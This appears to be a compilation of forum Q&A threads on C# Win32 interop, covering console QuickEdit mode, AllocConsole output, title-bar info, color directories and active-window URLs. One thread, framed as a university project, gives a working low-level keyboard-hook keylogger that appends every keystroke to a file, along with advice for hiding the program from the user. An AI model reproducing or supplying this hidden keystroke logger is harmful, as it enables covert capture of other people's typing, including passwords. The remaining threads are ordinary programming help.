Disable QuickEditMode in 64 bit - c#

I currently use the following code in the old 32bit architecture windows:
[DllImport("kernel32.dll", EntryPoint = "SetConsoleMode", ExactSpelling = true, SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode);
[DllImport("kernel32.dll", EntryPoint = "GetConsoleMode", ExactSpelling = true, SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool GetConsoleMode(IntPtr hConsoleHandle, out uint lpMode);
[DllImport("user32.dll")]
public static extern bool EnableMenuItem(IntPtr hConsoleHandle, uint uIDEnableItem, uint uEnable);
[DllImport("user32.dll")]
public static extern IntPtr GetSystemMenu(IntPtr hSystemMenu, bool bRevert);
[DllImport("user32.dll")]
public static extern IntPtr RemoveMenu(IntPtr hSystemMenu, uint nPosition, uint wFlags);
This is the code, which uses the GetConsoleMode and SetConsoleMode:
if (!GetConsoleMode(consoleHandle, out consoleMode))
throw new IOException("Console setup error - failed to retrieve current ConsoleMode");
consoleMode &= ~Constants.ENABLE_QUICK_EDIT_MODE;
Constants.SetConsoleMode(consoleHandle, consoleMode)
I know, try to get the application running within a 64bit machine, but I get this error:
Type: System.IO.IOException
Message: Console setup error - failed to retrieve current ConsoleMode
I googled and checked that the dll on the 64-bit windows is also named kernel32.dll.. What am I missing here?

I'm not sure it's a good idea to assume that the console handle always has a value of 0x3, especially as there's a Windows API method to retrieve the standard handles.
The following seems to work for me when running as both a 32bit and 64bit executable (on 64bit Windows), and appears to be how .NET does it internally:
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetStdHandle(int nStdHandle);
var consoleHandle = GetStdHandle(-10); // STD_INPUT_HANDLE
GetConsoleMode(consoleHandle, out var mode);

Related

Windows Service Keylogger

I have an University project which requires to create some sort of keylogger with c#, I mean to get all the keyboard inputs from the user and put them in a file, the input which in this case is a text needs also to be encrypted. This application need to be a windows service, I'm new to windows services but I have successfully managed to create a windows service using Visual Studio 2015.The problem now is at the keylogger, I've searched for quite a long now but most keyloggers I've seen have been developed using windows forms and not windows services. I have this function:
protected override void OnStart(string[] args)
{
System.IO.File.Create(AppDomain.CurrentDomain.BaseDirectory + "OnStart.txt");
}
What I have done here is that when the service starts it creates a new .txt file called Output at the directory of the application where all the inputs of the user are going to be saved or recorded.
Could someone help me or redirect me somewhere so I could create a simple keylogger using a windows service? I've managed to create a keylogger with windows forms using a timer which would save the data every second but using a windows service seems to be a bit hard for me.
From this question it looks like it may not be possible to do from a service, for security reasons.
However, you could create a program which uses keybaord hooks and does not display any console or windows, meaning it will be hidden from the user (just like a service would).
To do this, first declare some fields:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
Then import these native methods:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
Create these methods, where HookCallback will handle any detected key presses (so write to file here uder the comment)
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
var keyName = Enum.GetName(typeof(Keys), vkCode);
var path = #"C:\test\logfile.txt";
// Handle the key press here
var text = ((Keys)vkCode).ToString();
File.AppendAllText(path, text);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
SetHook basically subscribes to the keyboard hook for us:
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
Finally, add these lines to your Main method:
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
Now to make the program invisible, simply change the Output Type property to a Windows Application instead of a Console Application.
I hope this is helpul to you

No console output when using AllocConsole and target architecture x86

I have a WinForms project, and if the user want's a debug console, I allocate a console with AllocConsole().
All console output works normally with the target architecture set to "Any CPU", but when I change it to "x86" it doesn't output anything (Console.Read() still works as expected). If I open the EXE directly, the output works. It looks like Visual Studio redirects it into it's own "Output" window.
I also tried this answer, but it didn't work, I also tried Console.SetOut(GetStdHandle(-11)), which didn't work either.
Setting the target architecture to 'Any CPU' is no option for me.
So here are my two questions:
Why is this only the case when the target architecture is set to x86?
How can I output to my console when running inside of Visual Studio?
When "Enable native code debugging" is enabled, output from consoles crated with AllocConsole is redirected to the debug output window instead.
The reason this only happens in x86 and not AnyCPU is because you can only debug native code in an x86 application.
Note that this behavior only occurs with consoles created with AllocConsole. A console application's output is not redirected.
EDIT: The other reason for the console not outputting text is when you've written to the console before calling AllocConsole.
Regardless of the reason, this code will restore output if it was redirected, and reopen the console in case it's invalid. It uses the magic number 7 which is what the handle of stdout usually equals to.
using System;
using System.IO;
using System.Runtime.InteropServices;
public static class ConsoleHelper
{
public static void CreateConsole()
{
AllocConsole();
// stdout's handle seems to always be equal to 7
IntPtr defaultStdout = new IntPtr(7);
IntPtr currentStdout = GetStdHandle(StdOutputHandle);
if (currentStdout != defaultStdout)
// reset stdout
SetStdHandle(StdOutputHandle, defaultStdout);
// reopen stdout
TextWriter writer = new StreamWriter(Console.OpenStandardOutput())
{ AutoFlush = true };
Console.SetOut(writer);
}
// P/Invoke required:
private const UInt32 StdOutputHandle = 0xFFFFFFF5;
[DllImport("kernel32.dll")]
private static extern IntPtr GetStdHandle(UInt32 nStdHandle);
[DllImport("kernel32.dll")]
private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle);
[DllImport("kernel32")]
static extern bool AllocConsole();
}
See How to detect if Console.In (stdin) has been redirected? for another way to detect if the console handles have been redirected.
None of the earlier answers worked well for me with VS2017 and Windows 10 (for instance they failed if launch app in debug mode).
Below you can find a little bit enhanced code. Idea is the same, but magic numbers are removed (Ceztko already mentioned that) and all necessary in\out streams are initialized.
This code works for me if create a new console (alwaysCreateNewConsole = true).
Attaching to console of parent process (alwaysCreateNewConsole = false) has several drawbacks. For example I was unable to completely mimic behavior of console app launched from cmd. And I'm not sure that it is possible at all.
And most important: after revision of Console class I reconsidered general idea of using Console class with manually created console. It works well (I hope) for most of the cases, but can bring a lot of pain in future.
static class WinConsole
{
static public void Initialize(bool alwaysCreateNewConsole = true)
{
bool consoleAttached = true;
if (alwaysCreateNewConsole
|| (AttachConsole(ATTACH_PARRENT) == 0
&& Marshal.GetLastWin32Error() != ERROR_ACCESS_DENIED))
{
consoleAttached = AllocConsole() != 0;
}
if (consoleAttached)
{
InitializeOutStream();
InitializeInStream();
}
}
private static void InitializeOutStream()
{
var fs = CreateFileStream("CONOUT$", GENERIC_WRITE, FILE_SHARE_WRITE, FileAccess.Write);
if (fs != null)
{
var writer = new StreamWriter(fs) { AutoFlush = true };
Console.SetOut(writer);
Console.SetError(writer);
}
}
private static void InitializeInStream()
{
var fs = CreateFileStream("CONIN$", GENERIC_READ, FILE_SHARE_READ, FileAccess.Read);
if (fs != null)
{
Console.SetIn(new StreamReader(fs));
}
}
private static FileStream CreateFileStream(string name, uint win32DesiredAccess, uint win32ShareMode,
FileAccess dotNetFileAccess)
{
var file = new SafeFileHandle(CreateFileW(name, win32DesiredAccess, win32ShareMode, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero), true);
if (!file.IsInvalid)
{
var fs = new FileStream(file, dotNetFileAccess);
return fs;
}
return null;
}
#region Win API Functions and Constants
[DllImport("kernel32.dll",
EntryPoint = "AllocConsole",
SetLastError = true,
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall)]
private static extern int AllocConsole();
[DllImport("kernel32.dll",
EntryPoint = "AttachConsole",
SetLastError = true,
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall)]
private static extern UInt32 AttachConsole(UInt32 dwProcessId);
[DllImport("kernel32.dll",
EntryPoint = "CreateFileW",
SetLastError = true,
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall)]
private static extern IntPtr CreateFileW(
string lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile
);
private const UInt32 GENERIC_WRITE = 0x40000000;
private const UInt32 GENERIC_READ = 0x80000000;
private const UInt32 FILE_SHARE_READ = 0x00000001;
private const UInt32 FILE_SHARE_WRITE = 0x00000002;
private const UInt32 OPEN_EXISTING = 0x00000003;
private const UInt32 FILE_ATTRIBUTE_NORMAL = 0x80;
private const UInt32 ERROR_ACCESS_DENIED = 5;
private const UInt32 ATTACH_PARRENT = 0xFFFFFFFF;
#endregion
}
Following worked for me in vs 2015, none worked from other answers:
Source: https://social.msdn.microsoft.com/profile/dmitri567/?ws=usercard-mini
using System;
using System.Windows.Forms;
using System.Text;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
namespace WindowsApplication
{
static class Program
{
[DllImport("kernel32.dll",
EntryPoint = "GetStdHandle",
SetLastError = true,
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall)]
private static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll",
EntryPoint = "AllocConsole",
SetLastError = true,
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall)]
private static extern int AllocConsole();
private const int STD_OUTPUT_HANDLE = -11;
private const int MY_CODE_PAGE = 437;
static void Main(string[] args)
{
Console.WriteLine("This text you can see in debug output window.");
AllocConsole();
IntPtr stdHandle=GetStdHandle(STD_OUTPUT_HANDLE);
SafeFileHandle safeFileHandle = new SafeFileHandle(stdHandle, true);
FileStream fileStream = new FileStream(safeFileHandle, FileAccess.Write);
Encoding encoding = System.Text.Encoding.GetEncoding(MY_CODE_PAGE);
StreamWriter standardOutput = new StreamWriter(fileStream, encoding);
standardOutput.AutoFlush = true;
Console.SetOut(standardOutput);
Console.WriteLine("This text you can see in console window.");
MessageBox.Show("Now I'm happy!");
}
}
}
I also had this problem. Every time I tried to debug my app, the console was blank. Strangely, launching the exe without the debugger worked fine.
I found that I had to Enable the Visual Studio hosting process from the project's Debug menu.
Stephen is correct that Enable native code debugging does redirect the console to the Output window. However, regardless of the native code debugging setting, I saw absolutely no output in either place until I enabled the Visual Studio hosting process.
This could have been the reason that merely disabling native code debugging did not solve your issue.
Just wanted to post the answer from Visual studio Developer community.
https://developercommunity.visualstudio.com/content/problem/12166/console-output-is-gone-in-vs2017-works-fine-when-d.html
Go to this link and look at the answer from Ramkumar Ramesh.
I have tested this code in VS 2017.
I spent one day to find this answer. Hope it helps you as well.
Edit--
As suggessted by Mike to include some description. I would like to suggesst some corrections in Zuniar answer. He tested with VS 2015. But that would not work in VS 2017.
Instead of GetStdHandle, Please use CreateFile reference from kernel32.dll
IntPtr stdHandle = CreateFile("CONOUT$", GENERIC_WRITE, FILE_SHARE_WRITE, 0,
OPEN_EXISTING, 0, 0);
Before adding above code, please declare
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateFile(string lpFileName, uint
dwDesiredAccess, uint dwShareMode, uint lpSecurityAttributes, uint
dwCreationDisposition, uint dwFlagsAndAttributes, uint hTemplateFile);
private const int MY_CODE_PAGE = 437;
private const uint GENERIC_WRITE = 0x40000000;
private const uint FILE_SHARE_WRITE = 0x2;
private const uint OPEN_EXISTING = 0x3;
i have taken this code from the given link.

Is there an equivalent to WinAPI GetColorDirectory in .NET?

Is there an analogue of the function GetColorDirectory?
Or should I just call through a DLL?
The purpose is to get the path to the system directory with color profiles
As per MSDN you call it using the API:
[DllImport(DllImport.Mscms, CharSet = CharSet.Auto, BestFitMapping = false)]
internal static extern bool GetColorDirectory(IntPtr pMachineName, StringBuilder pBuffer, ref uint pdwSize);

Determine if window has close button (Or, why isn't GetTitleBarInfo working?)

I'm trying to determine if a given window has a close button using the GetTitleBarInfo function, as recommended in this SO answer. But when I call the function the return value for rgstate[5] - which should indicate the close button state - is always 0 and I don't understand why. Anyone have any idea what I'm doing wrong here? Alternatively, if any one can suggest another method to get this information, that would be helpful as well. Thanks!
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool GetTitleBarInfo(IntPtr hwnd, ref TITLEBARINFO pti);
[StructLayout(LayoutKind.Sequential)]
internal struct TITLEBARINFO
{
public int cbSize;
public RECT rcTitleBar;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)]
public int[] rgstate;
}
IntPtr handle = GetForegroundWindow();
TITLEBARINFO titleBarInfo = new TITLEBARINFO();
titleBarInfo.cbSize = Marshal.SizeOf(titleBarInfo);
if (!GetTitleBarInfo(handle, ref titleBarInfo))
throw new Win32Exception(Marshal.GetLastWin32Error());
// titleBarInfo.rgstate[5] is always 0 here. Why?
Edit: Just to be clear, according to MSDN the return value should be a combination of one or more of the values listed here.

C# Get active url from Active Process

Greetings
I'm using the following code to get the active process.
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
public extern short GetKeyState(int keyCode);
[DllImport("user32.dll")]
private extern Int32 GetWindowThreadProcessId(
IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll")]
private extern IntPtr GetForegroundWindow();
private Process GetProcessByHandle(IntPtr hwnd)
{
try
{
uint processID;
GetWindowThreadProcessId(hwnd, out processID);
return Process.GetProcessById((int)processID);
}
catch { return null; }
}
private Process GetActiveProcess()
{
IntPtr hwnd = GetForegroundWindow();
return hwnd != null ? GetProcessByHandle(hwnd) : null;
}
I was wondering if with this, or any other code, I could get the active URL / Tab of any webbrowser when GetActiveProcess returns a webbrowser as active process?
Greetings
Found my answer at Retrieve current URL from C# windows forms application . Which does get the url for google chrome (My most used broswer) but fails at internet explorer.
If anyone wishes to help on that it would be lovely.. but as I have it now it's good enough!

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